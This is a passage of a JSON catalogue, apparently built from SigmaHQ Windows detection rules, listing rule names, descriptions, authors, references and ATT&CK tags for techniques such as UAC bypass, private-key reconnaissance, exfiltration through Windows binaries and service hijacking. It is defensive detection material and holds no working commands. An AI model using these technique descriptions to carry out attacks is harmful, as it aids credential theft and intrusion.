        "filename": "proc_creation_win_wmic_uninstall_application.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_application.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b53317a0-8acf-4fd1-8de8-a5401e776b96",
      "value": "Application Removed Via Wmic.EXE"
    },
    {
      "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/07/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_private_keys_recon.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_private_keys_recon.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "213d6a77-3d55-4ce8-ba74-fcfef741974e",
      "value": "Private Keys Reconnaissance Via CommandLine Tools"
    },
    {
      "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_reg_service_imagepath_change.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9b0b7ac3-6223-47aa-a3fd-e8f211e637db",
      "value": "Changing Existing Service ImagePath Value Via Reg.EXE"
    },
    {
      "description": "Detects potentially suspicious child processes of a ClickOnce deployment application",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_dfsvc_suspicious_child_processes.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dfsvc_suspicious_child_processes.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion"
        ]
      },
      "uuid": "67bc0e75-c0a9-4cfc-8754-84a505b63c04",
      "value": "Potentially Suspicious Child Process Of ClickOnce Application"
    },
    {
      "description": "Upload file, credentials or data exfiltration with Binary part of Windows Defender",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_configsecuritypolicy.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567"
        ]
      },
      "related": [
        {
          "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1f0f6176-6482-4027-b151-00071af39d7e",
      "value": "Suspicious ConfigSecurityPolicy Execution"
    },
    {
      "description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/18",
        "falsepositive": [
          "The old auditpol utility isn't available by default on recent versions of Windows as it was replaced by a newer version. The FP rate should be very low except for tools that use a similar flag structure"
        ],
        "filename": "proc_creation_win_auditpol_nt_resource_kit_usage.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_nt_resource_kit_usage.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c6c56ada-612b-42d1-9a29-adad3c5c2c1e",
      "value": "Audit Policy Tampering Via NT Resource Kit Auditpol"
    },
    {
      "description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate use of fodhelper.exe utility by legitimate user"
        ],
        "filename": "proc_creation_win_uac_bypass_fodhelper.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7f741dcf-fc22-4759-87b4-9ae8376676a2",
      "value": "Bypass UAC via Fodhelper.exe"
    },
    {
      "description": "Execute C# code located in the consoleapp folder",
      "meta": {
        "author": "Beyu Denis, oscd.community",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Legitimate use of dnx.exe by legitimate user"
        ],
        "filename": "proc_creation_win_lolbin_dnx.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dnx.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1027.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "81ebd28b-9607-4478-bf06-974ed9d53ed7",
      "value": "Application Whitelisting Bypass via Dnx.exe"
    },
    {
      "description": "Detects execution of the Windows Kernel Debugger \"kd.exe\".",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/15",
        "falsepositive": [
          "Rare occasions of legitimate cases where kernel debugging is necessary in production. Investigation is required"
        ],
        "filename": "proc_creation_win_kd_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_kd_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "27ee9438-90dc-4bef-904b-d3ef927f5e7e",
      "value": "Windows Kernel Debugger Execution"
    },
    {
      "description": "Detects possible payload obfuscation via the commandline",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/02/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_dosfuscation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf",
          "https://github.com/danielbohannon/Invoke-DOSfuscation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a77c1610-fc73-4019-8e29-0f51efc04a51",
      "value": "Potential Dosfuscation Activity"
    },
    {
      "description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion.\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/02/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_calc_uncommon_exec.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/ItsReallyNick/status/1094080242686312448",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_calc_uncommon_exec.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "737e618a-a410-49b5-bec3-9e55ff7fbc15",
      "value": "Suspicious Calculator Usage"
    },
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      "description": "Detects execution of \"WerFault.exe\" with the \"-pr\" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_werfault_reflect_debugger_exec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/",
          "https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_werfault_reflect_debugger_exec.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fabfb3a7-3ce1-4445-9c7c-3c27f1051cdd",
      "value": "Potential ReflectDebugger Content Execution Via WerFault.EXE"
    },
    {
      "description": "Detects specific combinations of encoding methods in PowerShell via the commandline",
      "meta": {
        "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton",
        "creation_date": "2020/10/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_encoding_patterns.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encoding_patterns.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cdf05894-89e7-4ead-b2b0-0a5f97a90f2f",
      "value": "Potential Encoded PowerShell Patterns In CommandLine"
    },
    {
      "description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/10/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_reg_credential_access_via_password_filter.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/",
          "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_credential_access_via_password_filter.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1556.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b7966f4a-b333-455b-8370-8ca53c229762",
      "value": "Dropping Of Password Filter DLL"
    },
    {
      "description": "Detects potential \"ShellDispatch.dll\" functionality abuse to execute arbitrary binaries via \"ShellExecute\"",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_rundll32_shelldispatch_potential_abuse.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2023/06/07/this-lolbin-doesnt-exist/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_shelldispatch_potential_abuse.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion"
        ]
      },
      "uuid": "82343930-652f-43f5-ab70-2ee9fdd6d5e9",
      "value": "Potential ShellDispatch.DLL Functionality Abuse"
    },
    {
      "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/07/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_curl_susp_download.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt",
          "https://twitter.com/max_mal_/status/1542461200797163522",
          "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1105/T1105.md#atomic-test-18---curl-download-file",
          "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464",
          "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_susp_download.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e218595b-bbe7-4ee5-8a96-f32a24ad3468",
      "value": "Suspicious Curl.EXE Download"
    },
    {
      "description": "Detects the usage of the \"net.exe\" command to start a service using the \"start\" flag",
      "meta": {
        "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Legitimate administrator or user executes a service for legitimate reasons."
        ],
        "filename": "proc_creation_win_net_start_service.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_start_service.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2a072a96-a086-49fa-bcb5-15cc5a619093",
      "value": "Start Windows Service Via Net.EXE"
    },
    {
      "description": "Detects execution of \"Diskshadow.exe\" in script mode to execute an script with a potentially uncommon extension.\nInitial baselining of the allowed extension list is required.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/15",
        "falsepositive": [
          "False postitve might occur with legitimate or uncommon extensions used internally. Initial baseline is required."
        ],
        "filename": "proc_creation_win_diskshadow_script_mode_susp_ext.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow",
          "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware",
          "https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4",
          "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/",
          "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/",
          "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration",
          "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_script_mode_susp_ext.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1dde5376-a648-492e-9e54-4241dd9b0c7f",
      "value": "Diskshadow Script Mode - Uncommon Script Extension Execution"
    },
    {
      "description": "Detects user accept agreement execution in psexec commandline",
      "meta": {
        "author": "omkar72",
        "creation_date": "2020/10/30",
        "falsepositive": [
          "Administrative scripts."
        ],
        "filename": "proc_creation_win_sysinternals_psexec_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569",
          "attack.t1021"
        ]
      },
      "related": [
        {
          "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "730fc21b-eaff-474b-ad23-90fd265d4988",
      "value": "Psexec Execution"
    },
    {
      "description": "Detects suspicious process related to rasdial.exe",
      "meta": {
        "author": "juju4",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_rasdial_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/subTee/status/891298217907830785",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rasdial_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6bba49bf-7f8c-47d6-a1bb-6b4dece4640e",
      "value": "Suspicious RASdial Activity"
    },
    {
      "description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/14",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_susp_service_creation.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md",
          "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "17a1be64-8d88-40bf-b5ff-a4f7a50ebcc8",
      "value": "Suspicious New Service Creation"
    },
    {
      "description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27",
      "meta": {
        "author": "FPT.EagleEye, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/03/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_snapins_hafnium.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.intrinsec.com/apt27-analysis/",
          "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/",
          "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.collection",
          "attack.t1114"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "25676e10-2121-446e-80a4-71ff8506af47",
      "value": "Exchange PowerShell Snap-Ins Usage"
    },
    {
      "description": "Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/09/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sc_service_tamper_for_persistence.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_service_tamper_for_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1543.003",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "38879043-7e1e-47a9-8d46-6bec88e201df",
      "value": "Potential Persistence Attempt Via Existing Service Tampering"
    },
    {
      "description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_dismhost.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "853e74f9-9392-4935-ad3b-2e8c040dae86",
      "value": "UAC Bypass Using DismHost"
    },
    {
      "description": "Detects suspicious Plink tunnel port forwarding to a local port",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/01/19",
        "falsepositive": [
          "Administrative activity using a remote port forwarding to a local port"
        ],
        "filename": "proc_creation_win_plink_port_forwarding.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d",
          "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_port_forwarding.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1572",
          "attack.lateral_movement",
          "attack.t1021.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "48a61b29-389f-4032-b317-b30de6b95314",
      "value": "Suspicious Plink Port Forwarding"
    },
    {
      "description": "Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2021/06/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_reg_write_protect_for_storage_disabled.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_write_protect_for_storage_disabled.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "75f7a0e2-7154-4c4d-9eae-5cdb4e0a5c13",
      "value": "Write Protect For Storage Disabled"
    },
    {
      "description": "Detects renamed Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_vscode_tunnel_renamed_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://code.visualstudio.com/docs/remote/tunnels",
          "https://badoption.eu/blog/2023/01/31/code_c2.html",
          "https://ipfyx.fr/post/visual-studio-code-tunnel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_renamed_execution.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
